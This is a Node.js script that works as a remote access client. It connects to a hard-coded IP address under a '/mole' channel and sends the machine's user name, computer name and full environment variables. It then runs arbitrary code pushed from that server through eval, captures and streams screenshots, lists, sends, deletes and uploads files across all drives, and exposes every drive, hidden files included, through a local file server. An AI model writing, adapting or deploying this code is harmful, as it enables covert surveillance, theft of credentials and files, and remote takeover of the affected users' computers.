var man =  process.argv[2] || process.env.USERNAME + '@'+process.env.COMPUTERNAME;
var port = process.argv[3] || 13527;
var fs = require('fs');
var mkdirp = require('mkdirp');
var exec = require('child_process').exec;
var screenshot = require('screenshot-desktop');

var websocket = require('socket.io-client')(`http://115.29.34.237:${port}/mole`);
var ss = require('socket.io-stream');
var request = require('request');

websocket.on('connect',()=>{
    console.log('connected');
});
websocket.on('init',(cb)=>{
    if(typeof cb == 'function'){
        cb(man,process.env)
    }
});
websocket.on('eval',(scriptStr,cb)=>{
    try{
        var ret = eval(scriptStr);
        websocket.emit('eval',null,ret);
    }catch(e){
        websocket.emit('eval',e.message);
    }
});
websocket.on('disk',(dir)=>{
    var stream = ss.createStream();
    stream.setHeader = ()=>{};
    ss(websocket).emit('disk',stream,dir);
//    onRequest({url:`/disk/${dir}`,method:'GET',headers:{}},stream);
    try{
        request(`http://localhost:16527/watcher/${process.env.USERNAME + '@'+process.env.COMPUTERNAME}/disk/${dir}`)
        .on('error',(error)=>{
            stream.end(error.message);
        })
        .pipe(stream);
    }catch(e){
        stream.end(e.message);
    }
});
websocket.on('rem',(dir,cb)=>{
    getUsableDist(()=>{
        dir = dir.toLowerCase();
        var dsk = usableDisks.find((d)=>{return dir.split('/')[0] == d});
        if(dsk){
            dir = dir.replace(dsk + '/',dsk+':/');
            fs.unlink(dir,(err)=>{
                cb && cb(err);
            })
        }
    });
});
ss(websocket).on('disk-uploadfile',(stream,dir,name,cb)=>{
    getUsableDist(()=>{
        dir = dir.toLowerCase();
        var dsk = usableDisks.find((d)=>{return dir.split('/')[0] == d});
        if(dsk){
            dir = dir.replace(dsk + '/',dsk+':/');
            mkdirp(dir,(err)=>{
                if(err) 
                    cb && cb(err);
                else{
                    var fss = fs.createWriteStream(`${dir}/${name}`);
                    stream.on('error',(err)=>{
                        cb && cb(err);
                    })
                    .on('end',()=>{
                        cb && cb(null,'success!');
                    })
                    .pipe(fss);
                    
                }
            });
        }else{
            cb && cb('disk is not found!');
        }
    });
})

websocket.on('screen',()=>{
    var stream = ss.createStream();
    ss(websocket).emit('screen',stream);
    screenshot().then((img) => {
        stream.end(img);
    })
    .catch((err) => {
        stream.end(err.message);
    })
});
var usableDisks = [];
function getUsableDist(callback) {
    var wmicResult;
    var command = exec('wmic logicaldisk get caption', function(err, stdout, stderr) {
        if(err || stderr) {
            console.log("root path open failed" + err + stderr);
            return;
        }
        wmicResult = stdout;
    });
    command.stdin.end();   // stop the input pipe, in order to run in windows xp
    command.on('close', function(code) {
        console.log("wmic close:: code:" + code);
        var data = wmicResult.replace(/ |\r|\r\n|:|/g,'').split('\n');
        for(var letter of data){
            if(!letter) continue;
            letter = letter.toLowerCase();
            try{
                var st = fs.statSync(letter+':/');
                if(usableDisks.indexOf(letter) < 0)
                    usableDisks.push(letter);
            }catch(e){
                console.log(e);
                var i = usableDisks.indexOf(letter);
                if(i >= 0)
                    usableDisks.splice(i,1);
            }
        }
        callback && callback(usableDisks);
    });
}

var finalhandler = require('finalhandler')
var http = require('http')
var serveIndex = require('serve-index')
var serveStatic = require('serve-static')
var url = require('url');
// Create server
function onRequest(req, res){
    var pathname = url.parse(req.url).pathname;
    var done = finalhandler(req, res)
    getUsableDist((dsks)=>{
        //todo: 盘符页面
        if(pathname == `/watcher/${process.env.USERNAME + '@'+process.env.COMPUTERNAME}/disk`) 
            return done(JSON.stringify({disks:dsks}));
        var letter = dsks.find((l)=>{ return pathname.indexOf(`/watcher/${process.env.USERNAME + '@'+process.env.COMPUTERNAME}/disk/`+l) == 0});
        if(!letter) return done('not found root dir!');
        var rootDir = letter + ':/';
        // Serve directory indexes for public/ftp folder (with icons)
        var index = serveIndex(rootDir, {
            'hidden': true,
            'icons': true,
            'filter':(filename, index, files, dir)=>{
                try{
                    fs.statSync(dir+filename);
                    return true;
                }catch(e){
                    console.log(e);
                    return false;
                }
        }});
        // Serve up public/ftp folder files
        var serve = serveStatic(rootDir,{dotfiles:'allow'})
        req.originalUrl = req.url;
        req.url = req.url.replace(`/watcher/${process.env.USERNAME + '@'+process.env.COMPUTERNAME}/disk/`+letter,'');
        if(!req.url) req.url = '/';
        req.baseUrl = `/watcher/${process.env.USERNAME + '@'+process.env.COMPUTERNAME}/disk/`+letter;
        serve(req, res, function onNext(err) {
            if (err) return done(err)
            index(req, res, done)
        })
    })
}
var fileServer = http.createServer(onRequest)
fileServer.listen(16527);

// screenshot().then((img) => {
// // img: Buffer filled with jpg goodness
// // ...
// var fileWriteStream = fs.createWriteStream(new Date().toString().replace(/\/| |:|\(|中国标准时间|\)/g,'_')+'.jpg');
// fileWriteStream.end(img);
// }).catch((err) => {
// // ...
// })